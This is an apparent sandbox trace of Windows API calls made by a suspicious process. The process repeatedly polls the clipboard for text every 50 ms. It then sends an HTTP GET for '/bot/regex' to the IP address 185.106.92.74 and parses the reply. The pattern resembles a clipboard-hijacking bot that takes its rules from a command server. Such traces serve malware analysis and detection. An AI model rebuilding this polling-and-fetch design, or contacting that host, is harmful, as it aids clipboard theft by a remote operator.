[0263.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.132] GetClipboardData (uFormat=0x1) returned 0x0
[0263.133] CloseClipboard () returned 1
[0263.133] Sleep (dwMilliseconds=0x32)
[0263.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7cf24fa, dwHighDateTime=0x1d96e12))
[0263.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.148] GetClipboardData (uFormat=0x1) returned 0x0
[0263.148] CloseClipboard () returned 1
[0263.148] Sleep (dwMilliseconds=0x32)
[0263.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7d187e7, dwHighDateTime=0x1d96e12))
[0263.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.164] GetClipboardData (uFormat=0x1) returned 0x0
[0263.164] CloseClipboard () returned 1
[0263.164] Sleep (dwMilliseconds=0x32)
[0263.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7d3e9df, dwHighDateTime=0x1d96e12))
[0263.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.179] GetClipboardData (uFormat=0x1) returned 0x0
[0263.179] CloseClipboard () returned 1
[0263.180] Sleep (dwMilliseconds=0x32)
[0263.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7d64c9e, dwHighDateTime=0x1d96e12))
[0263.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.195] GetClipboardData (uFormat=0x1) returned 0x0
[0263.195] CloseClipboard () returned 1
[0263.195] Sleep (dwMilliseconds=0x32)
[0263.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7d8aec7, dwHighDateTime=0x1d96e12))
[0263.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.211] GetClipboardData (uFormat=0x1) returned 0x0
[0263.211] CloseClipboard () returned 1
[0263.211] Sleep (dwMilliseconds=0x32)
[0263.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7db114b, dwHighDateTime=0x1d96e12))
[0263.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.226] GetClipboardData (uFormat=0x1) returned 0x0
[0263.226] CloseClipboard () returned 1
[0263.226] Sleep (dwMilliseconds=0x32)
[0263.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7dd7391, dwHighDateTime=0x1d96e12))
[0263.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.242] GetClipboardData (uFormat=0x1) returned 0x0
[0263.242] CloseClipboard () returned 1
[0263.242] Sleep (dwMilliseconds=0x32)
[0263.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7dfdc13, dwHighDateTime=0x1d96e12))
[0263.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.258] GetClipboardData (uFormat=0x1) returned 0x0
[0263.258] CloseClipboard () returned 1
[0263.258] Sleep (dwMilliseconds=0x32)
[0263.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7e23863, dwHighDateTime=0x1d96e12))
[0263.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.273] GetClipboardData (uFormat=0x1) returned 0x0
[0263.273] CloseClipboard () returned 1
[0263.273] Sleep (dwMilliseconds=0x32)
[0263.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7e49a23, dwHighDateTime=0x1d96e12))
[0263.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.289] GetClipboardData (uFormat=0x1) returned 0x0
[0263.289] CloseClipboard () returned 1
[0263.289] Sleep (dwMilliseconds=0x32)
[0263.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7e6fd10, dwHighDateTime=0x1d96e12))
[0263.305] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.305] GetClipboardData (uFormat=0x1) returned 0x0
[0263.305] CloseClipboard () returned 1
[0263.305] Sleep (dwMilliseconds=0x32)
[0263.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7e95edd, dwHighDateTime=0x1d96e12))
[0263.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.320] GetClipboardData (uFormat=0x1) returned 0x0
[0263.320] CloseClipboard () returned 1
[0263.320] Sleep (dwMilliseconds=0x32)
[0263.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7ebc1c9, dwHighDateTime=0x1d96e12))
[0263.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.336] GetClipboardData (uFormat=0x1) returned 0x0
[0263.336] CloseClipboard () returned 1
[0263.336] Sleep (dwMilliseconds=0x32)
[0263.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7ee2380, dwHighDateTime=0x1d96e12))
[0263.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.351] GetClipboardData (uFormat=0x1) returned 0x0
[0263.351] CloseClipboard () returned 1
[0263.351] Sleep (dwMilliseconds=0x32)
[0263.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7f08676, dwHighDateTime=0x1d96e12))
[0263.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.367] GetClipboardData (uFormat=0x1) returned 0x0
[0263.367] CloseClipboard () returned 1
[0263.367] Sleep (dwMilliseconds=0x32)
[0263.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7f2e8ca, dwHighDateTime=0x1d96e12))
[0263.384] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.384] GetClipboardData (uFormat=0x1) returned 0x0
[0263.384] CloseClipboard () returned 1
[0263.384] Sleep (dwMilliseconds=0x32)
[0263.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7f54b54, dwHighDateTime=0x1d96e12))
[0263.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.400] GetClipboardData (uFormat=0x1) returned 0x0
[0263.400] CloseClipboard () returned 1
[0263.400] Sleep (dwMilliseconds=0x32)
[0263.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7f7aced, dwHighDateTime=0x1d96e12))
[0263.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.415] GetClipboardData (uFormat=0x1) returned 0x0
[0263.415] CloseClipboard () returned 1
[0263.416] Sleep (dwMilliseconds=0x32)
[0263.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7fa0f47, dwHighDateTime=0x1d96e12))
[0263.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.433] GetClipboardData (uFormat=0x1) returned 0x0
[0263.433] CloseClipboard () returned 1
[0263.433] Sleep (dwMilliseconds=0x32)
[0263.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7fc71a4, dwHighDateTime=0x1d96e12))
[0263.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.446] GetClipboardData (uFormat=0x1) returned 0x0
[0263.446] CloseClipboard () returned 1
[0263.447] Sleep (dwMilliseconds=0x32)
[0263.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7fed3fd, dwHighDateTime=0x1d96e12))
[0263.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.461] GetClipboardData (uFormat=0x1) returned 0x0
[0263.461] CloseClipboard () returned 1
[0263.461] Sleep (dwMilliseconds=0x32)
[0263.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8013653, dwHighDateTime=0x1d96e12))
[0263.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.476] GetClipboardData (uFormat=0x1) returned 0x0
[0263.476] CloseClipboard () returned 1
[0263.476] Sleep (dwMilliseconds=0x32)
[0263.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf80398ad, dwHighDateTime=0x1d96e12))
[0263.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.493] GetClipboardData (uFormat=0x1) returned 0x0
[0263.493] CloseClipboard () returned 1
[0263.493] Sleep (dwMilliseconds=0x32)
[0263.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf805fb19, dwHighDateTime=0x1d96e12))
[0263.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.508] GetClipboardData (uFormat=0x1) returned 0x0
[0263.508] CloseClipboard () returned 1
[0263.508] Sleep (dwMilliseconds=0x32)
[0263.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8085d60, dwHighDateTime=0x1d96e12))
[0263.525] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.525] GetClipboardData (uFormat=0x1) returned 0x0
[0263.525] CloseClipboard () returned 1
[0263.525] Sleep (dwMilliseconds=0x32)
[0263.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf80abfca, dwHighDateTime=0x1d96e12))
[0263.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.540] GetClipboardData (uFormat=0x1) returned 0x0
[0263.540] CloseClipboard () returned 1
[0263.540] Sleep (dwMilliseconds=0x32)
[0263.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf80d2212, dwHighDateTime=0x1d96e12))
[0263.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.554] GetClipboardData (uFormat=0x1) returned 0x0
[0263.554] CloseClipboard () returned 1
[0263.554] Sleep (dwMilliseconds=0x32)
[0263.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf80f846f, dwHighDateTime=0x1d96e12))
[0263.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.571] GetClipboardData (uFormat=0x1) returned 0x0
[0263.572] CloseClipboard () returned 1
[0263.572] Sleep (dwMilliseconds=0x32)
[0263.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf811e6cb, dwHighDateTime=0x1d96e12))
[0263.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.586] GetClipboardData (uFormat=0x1) returned 0x0
[0263.586] CloseClipboard () returned 1
[0263.586] Sleep (dwMilliseconds=0x32)
[0263.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8144924, dwHighDateTime=0x1d96e12))
[0263.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.601] GetClipboardData (uFormat=0x1) returned 0x0
[0263.601] CloseClipboard () returned 1
[0263.601] Sleep (dwMilliseconds=0x32)
[0263.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf816ab31, dwHighDateTime=0x1d96e12))
[0263.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.617] GetClipboardData (uFormat=0x1) returned 0x0
[0263.617] CloseClipboard () returned 1
[0263.617] Sleep (dwMilliseconds=0x32)
[0263.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8190ddb, dwHighDateTime=0x1d96e12))
[0263.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.633] GetClipboardData (uFormat=0x1) returned 0x0
[0263.633] CloseClipboard () returned 1
[0263.633] Sleep (dwMilliseconds=0x32)
[0263.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf81b7031, dwHighDateTime=0x1d96e12))
[0263.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.648] GetClipboardData (uFormat=0x1) returned 0x0
[0263.648] CloseClipboard () returned 1
[0263.648] Sleep (dwMilliseconds=0x32)
[0263.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf81dd28b, dwHighDateTime=0x1d96e12))
[0263.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.670] GetClipboardData (uFormat=0x1) returned 0x0
[0263.670] CloseClipboard () returned 1
[0263.670] Sleep (dwMilliseconds=0x32)
[0263.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf82034ee, dwHighDateTime=0x1d96e12))
[0263.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.681] GetClipboardData (uFormat=0x1) returned 0x0
[0263.681] CloseClipboard () returned 1
[0263.681] Sleep (dwMilliseconds=0x32)
[0263.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8229744, dwHighDateTime=0x1d96e12))
[0263.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.695] GetClipboardData (uFormat=0x1) returned 0x0
[0263.695] CloseClipboard () returned 1
[0263.695] Sleep (dwMilliseconds=0x32)
[0263.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf824f9b0, dwHighDateTime=0x1d96e12))
[0263.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.711] GetClipboardData (uFormat=0x1) returned 0x0
[0263.711] CloseClipboard () returned 1
[0263.711] Sleep (dwMilliseconds=0x32)
[0263.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8275bf3, dwHighDateTime=0x1d96e12))
[0263.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.726] GetClipboardData (uFormat=0x1) returned 0x0
[0263.726] CloseClipboard () returned 1
[0263.726] Sleep (dwMilliseconds=0x32)
[0263.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf829be4c, dwHighDateTime=0x1d96e12))
[0263.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.744] GetClipboardData (uFormat=0x1) returned 0x0
[0263.744] CloseClipboard () returned 1
[0263.744] Sleep (dwMilliseconds=0x32)
[0263.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf82c20ad, dwHighDateTime=0x1d96e12))
[0263.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.758] GetClipboardData (uFormat=0x1) returned 0x0
[0263.758] CloseClipboard () returned 1
[0263.758] Sleep (dwMilliseconds=0x32)
[0263.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf82e8304, dwHighDateTime=0x1d96e12))
[0263.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.773] GetClipboardData (uFormat=0x1) returned 0x0
[0263.773] CloseClipboard () returned 1
[0263.773] Sleep (dwMilliseconds=0x32)
[0263.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf830e558, dwHighDateTime=0x1d96e12))
[0263.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.790] GetClipboardData (uFormat=0x1) returned 0x0
[0263.790] CloseClipboard () returned 1
[0263.790] Sleep (dwMilliseconds=0x32)
[0263.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf83347b6, dwHighDateTime=0x1d96e12))
[0263.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.804] GetClipboardData (uFormat=0x1) returned 0x0
[0263.805] CloseClipboard () returned 1
[0263.805] Sleep (dwMilliseconds=0x32)
[0263.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf835aa10, dwHighDateTime=0x1d96e12))
[0263.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.821] GetClipboardData (uFormat=0x1) returned 0x0
[0263.822] CloseClipboard () returned 1
[0263.822] Sleep (dwMilliseconds=0x32)
[0263.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf8380c6f, dwHighDateTime=0x1d96e12))
[0263.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.836] GetClipboardData (uFormat=0x1) returned 0x0
[0263.836] CloseClipboard () returned 1
[0263.836] Sleep (dwMilliseconds=0x32)
[0263.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf83a6ed7, dwHighDateTime=0x1d96e12))
[0263.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.851] GetClipboardData (uFormat=0x1) returned 0x0
[0263.852] CloseClipboard () returned 1
[0263.852] Sleep (dwMilliseconds=0x32)
[0263.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf83cd123, dwHighDateTime=0x1d96e12))
[0263.868] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0263.868] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0263.869] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/regex", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0263.869] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0263.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x279) returned 1
[0263.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x0) returned 1
[0263.924] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0263.924] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0263.924] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0263.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x280) returned 0x6f9f58
[0263.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6db7d8
[0263.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6048
[0263.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e60a8
[0263.924] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6128
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e68
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc460
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfbd8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe4f8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc438
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ec8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db658
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5e88
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc4d8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e08
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6dd0b0
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5fc8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc500
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e60c8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc528
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd10
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe258
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc550
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5e28
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db6b8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5fa8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc208
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ea8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbe48
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6028
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc0c8
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd28
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe6f0
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc118
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6068
[0263.925] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db778
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e61a8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbf88
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6168
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc028
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ee8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbf38
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd40
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe530
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc1b8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6188
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db808
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5e48
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc078
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f08
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbe20
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e60e8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc1e0
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd70
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe290
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc230
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f28
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db5f8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e6148
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc2a8
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f48
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc168
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f68
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc050
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc08
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe5a0
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc258
[0263.926] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5f88
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db988
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5fe8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc280
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6008
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc0a0
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6088
